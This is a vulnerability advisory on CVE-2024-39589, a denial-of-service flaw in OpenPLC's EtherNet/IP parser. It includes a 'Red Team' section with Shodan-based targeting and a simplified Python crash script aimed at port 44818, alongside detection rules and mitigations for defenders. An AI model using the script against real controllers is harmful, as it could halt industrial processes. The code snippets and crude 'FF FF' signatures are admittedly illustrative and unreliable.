CVE-2024-39589

Executive Summary

CVE-2024-39589 is a high-severity denial-of-service (DoS) vulnerability affecting the OpenPLC Runtime EtherNet/IP parser, specifically within the Protected_Logical_Read_Reply function. The flaw arises from multiple invalid pointer dereference conditions that can be triggered by a specially crafted EtherNet/IP request. With a CVSS score of 7.5 and no known patch, this vulnerability poses a significant risk to industrial control systems (ICS) and operational technology (OT) environments running OpenPLC_v3. An unauthenticated attacker can exploit this remotely, causing the PLC runtime to crash and disrupting critical automation processes.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects the OpenPLC Runtime, a C/C++ based industrial control system software. The supply chain risk is limited to the OpenPLC project itself, with no known package dependencies in the aforementioned ecosystems.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: None (I:N)
• Availability Impact: High (A:H)

Threat Level: High. The vulnerability is remotely exploitable without authentication, and a successful attack results in a denial of service, which can halt industrial processes.

Deep Dive & Mechanics

The vulnerability resides in the EtherNet/IP protocol parser of OpenPLC Runtime. The Protected_Logical_Read_Reply function is responsible for handling specific EtherNet/IP service requests. Due to improper validation of pointer references, an attacker can send a malformed packet that causes the function to dereference an invalid memory address. This leads to a segmentation fault or similar crash, resulting in a denial of service.

Root Cause: The function does not properly check the validity of pointers derived from the incoming packet data before dereferencing them. This can be exploited by crafting a packet with manipulated offset or length fields that point to unmapped or invalid memory regions.

Attack Vector: An attacker sends a series of specially crafted EtherNet/IP requests to the target OpenPLC device on port 44818 (default for EtherNet/IP). The requests are processed by the vulnerable parser, causing the runtime to crash repeatedly.

Vulnerable vs. Patched Code

Vulnerable Code (OpenPLC_v3 commit 16bf8bac1a36d95b73e7b8722d0edb8b9c5bb56a):

// Example snippet from Protected_Logical_Read_Reply
void Protected_Logical_Read_Reply(uint8_t *data, int len) {
    uint8_t *ptr = data + 10; // Assume offset from packet
    // No validation of ptr bounds
    uint16_t value = *(uint16_t *)ptr; // Invalid dereference if ptr out of bounds
    // ... further processing
}

Patched Code (Hypothetical fix):

void Protected_Logical_Read_Reply(uint8_t *data, int len) {
    if (len < 12) {
        // Handle error
        return;
    }
    uint8_t *ptr = data + 10;
    // Validate pointer is within bounds
    if (ptr + sizeof(uint16_t) > data + len) {
        // Handle error
        return;
    }
    uint16_t value = *(uint16_t *)ptr;
    // ... further processing
}

Note: No official patch is available. The above is a recommended fix.

Exploitation & Lab Setup

Red Team

Prerequisites:

• OpenPLC Runtime (vulnerable version) running on a target machine.
• Network access to the target on port 44818.

Exploitation Steps:

1. Identify the target OpenPLC device using Shodan or network scanning.
2. Craft a malicious EtherNet/IP packet targeting the Protected_Logical_Read_Reply function. The packet should contain invalid pointer offsets.
3. Send the packet using a tool like Scapy or a custom Python script.

Example Python exploit script:

import socket

def exploit(target_ip, target_port=44818):
    # Craft a malformed EtherNet/IP packet
    # This is a simplified example; actual packet structure is more complex
    packet = b'\x00' * 10  # Header
    packet += b'\xff\xff'  # Invalid offset causing dereference
    packet += b'\x00' * 100  # Padding

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((target_ip, target_port))
    sock.send(packet)
    sock.close()

if __name__ == "__main__":
    exploit("192.168.1.100")

Blue Team

Detection and Mitigation:

• Monitor network traffic for malformed EtherNet/IP packets on port 44818.
• Implement network segmentation to limit exposure of PLC devices.
• Use intrusion detection systems (IDS) with custom signatures.
• Apply vendor patches when available; until then, consider disabling EtherNet/IP services if not required.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Unusual EtherNet/IP packets with invalid or out-of-bounds offset fields.
  • Repeated connection attempts to port 44818 from external IPs.
  • Sudden crashes or restarts of the OpenPLC runtime service.

• Host IOCs:

  • Core dumps or crash logs from the OpenPLC process.
  • Log entries indicating segmentation faults in the Protected_Logical_Read_Reply function.

Detection Engineering

YARA Rule

rule CVE_2024_39589_OpenPLC_DoS {
    meta:
        description = "Detects malformed EtherNet/IP packets targeting CVE-2024-39589"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-39589"
    strings:
        $invalid_offset = { FF FF }  // Example pattern for invalid offset
    condition:
        $invalid_offset at 10  // Assuming offset at byte 10
}

Sigma Rule

title: CVE-2024-39589 OpenPLC EtherNet/IP DoS
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects network traffic exploiting CVE-2024-39589
author: Valters IT
date: 2025-04-10
logsource:
    category: network
    product: suricata
detection:
    selection:
        dest_port: 44818
        payload|contains: "FF FF"  // Example pattern
    condition: selection
falsepositives:
    - Legitimate EtherNet/IP traffic with similar patterns (rare)
level: high

Suricata Rule

alert tcp any any -> any 44818 (msg:"CVE-2024-39589 OpenPLC EtherNet/IP DoS Attempt"; content:"|FF FF|"; offset:10; depth:2; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Isolate affected OpenPLC devices from untrusted networks.
   • Monitor for unusual traffic on port 44818.
   • Implement network-based filtering to block malformed EtherNet/IP packets.

2. Long-term Fixes:

   • Apply vendor patch when released.
   • Upgrade to a patched version of OpenPLC.
   • Implement input validation in the EtherNet/IP parser as shown in the patched code example.

3. Compensating Controls:

   • Use a firewall to restrict access to port 44818 to trusted IPs only.
   • Deploy an IDS/IPS with custom signatures to detect exploitation attempts.
   • Enable logging and alerting for PLC crashes.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert